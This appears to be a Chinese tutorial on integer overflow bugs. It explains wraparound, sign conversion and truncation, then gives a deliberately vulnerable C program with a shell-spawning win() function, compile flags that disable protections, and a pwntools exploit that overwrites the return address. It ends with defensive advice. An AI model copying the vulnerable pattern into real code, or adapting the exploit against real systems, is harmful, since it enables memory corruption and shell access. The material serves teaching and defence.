整数溢出(Integer Overflow)是指整数运算结果超出了对应类型能够表示的范围,导致数值回绕、截断或符号解释错误。它本身不一定直接劫持控制流,但经常会破坏长度检查、内存分配和边界判断,最终引出栈溢出、堆溢出或越界读写。

原理

计算机中的整数通常以固定宽度保存,例如 8 位、16 位、32 位或 64 位。当运算结果超过该宽度时,多余的高位会被截断。

以 8 位无符号整数为例:

255 + 1 = 0
0 - 1 = 255

这种回绕在底层是自然发生的,但如果程序把回绕后的值继续用于长度、索引或内存大小,就可能产生漏洞。

常见类型

无符号整数回绕

无符号整数超过最大值后会按模数回绕:

unsigned int x = 0xffffffff;
x = x + 1; // x == 0

如果 x + 1 被用于 malloc 大小,程序可能分配出比预期小得多的内存。

有符号整数溢出

有符号整数溢出在 C/C++ 中属于未定义行为,编译器可能基于“不会溢出”的假设进行优化,导致检查逻辑被绕过。

int x = 0x7fffffff;
x = x + 1; // 未定义行为

符号转换问题

负数转换成无符号整数时会变成很大的正数:

int len = -1;
size_t size = len; // 64 位下通常变为 0xffffffffffffffff

如果检查只判断 len < 128,但后续把它传给需要 size_t 的函数,就可能造成超长读写。

整数截断

大整数赋值给小类型时,高位会被截断:

unsigned int len = 0x1234;
unsigned char small = len; // small == 0x34

如果检查使用截断后的值,实际拷贝使用原始值,也可能出现边界检查不一致。

漏洞代码

下面的例子展示了符号转换导致的长度检查绕过:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win(void) {
    system("/bin/sh");
}

void vuln(void) {
    char buf[64];
    int len;

    puts("Length:");
    scanf("%d", &len);

    if (len < 64) {
        puts("Input:");
        read(0, buf, len); // read 的第三个参数是 size_t,负数会被转换成超大正数
    } else {
        puts("too large");
    }
}

int main(void) {
    vuln();
    return 0;
}

输入 -1 时,len < 64 成立,但 read 接收的是无符号长度,-1 会被转换成非常大的 size_t,最终导致栈溢出。

编译方式

为了观察漏洞效果,可以先关闭 Canary 和 PIE:

gcc source.c -o int_overflow_demo -fno-stack-protector -no-pie

查看保护:

checksec ./int_overflow_demo

编译器可能对有符号整数溢出做激进优化。分析真实程序时要注意编译选项和优化等级,必要时对比 -O0-O2 下的反汇编差异。

攻击思路

整数溢出通常是“前置漏洞”,它的利用目标不是溢出整数本身,而是让后续内存操作进入错误状态。

常见利用链:

  1. 找到长度、数量、索引相关的整数变量
  2. 观察检查逻辑和使用逻辑是否使用了不同类型或不同表达式
  3. 构造极大值、负数或边界值触发回绕/截断
  4. 让程序分配过小缓冲区,或让读写长度变得异常大
  5. 将漏洞转化为栈溢出、堆溢出、越界读写或信息泄露

重点关注这些代码模式:

malloc(count * sizeof(item));
malloc(len + 1);
if (len < sizeof(buf)) read(0, buf, len);
if ((short)len < 128) memcpy(buf, src, len);

Exploit 示例

针对上面的示例程序,可以输入 -1 绕过检查,然后发送超长 payload 覆盖返回地址:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./int_overflow_demo")
context.binary = exe


def main():
    p = process(exe.path)

    offset = 72  # 需要通过 cyclic/gdb 实际确认
    ret_addr = 0x40101a
    win_addr = exe.sym.get("win", 0x401176)

    payload = flat([
        b"A" * offset,
        ret_addr,
        win_addr,
    ])

    p.recvuntil(b"Length:\n")
    p.sendline(b"-1")

    p.recvuntil(b"Input:\n")
    p.send(payload)

    p.interactive()


if __name__ == "__main__":
    main()

这个脚本的关键点不是 -1 本身,而是利用负数到 size_t 的隐式转换,让原本看似安全的长度检查失效。

常见问题

整数溢出一定能拿 shell 吗?

不一定。整数溢出通常只是让长度、大小或索引异常,后续还需要存在可利用的内存读写路径。

为什么 len < 64 不能防住负数?

因为负数当然小于 64。若后续函数参数类型是 size_t,负数会被隐式转换成很大的无符号整数。

为什么 malloc(count * size) 危险?

如果乘法结果溢出,程序会分配比预期小的内存,但后续仍按原始 count 写入元素,造成堆溢出。

如何防御?

  • 对长度使用统一的无符号类型,并显式限制上界
  • 做加法、乘法前先检查是否会超过最大值
  • 避免把负数传给 readmemcpymalloc 等使用 size_t 的函数
  • 使用带溢出检查的编译器内建函数,如 __builtin_add_overflow__builtin_mul_overflow
  • 开启 Sanitizer 辅助测试,如 -fsanitize=undefined,address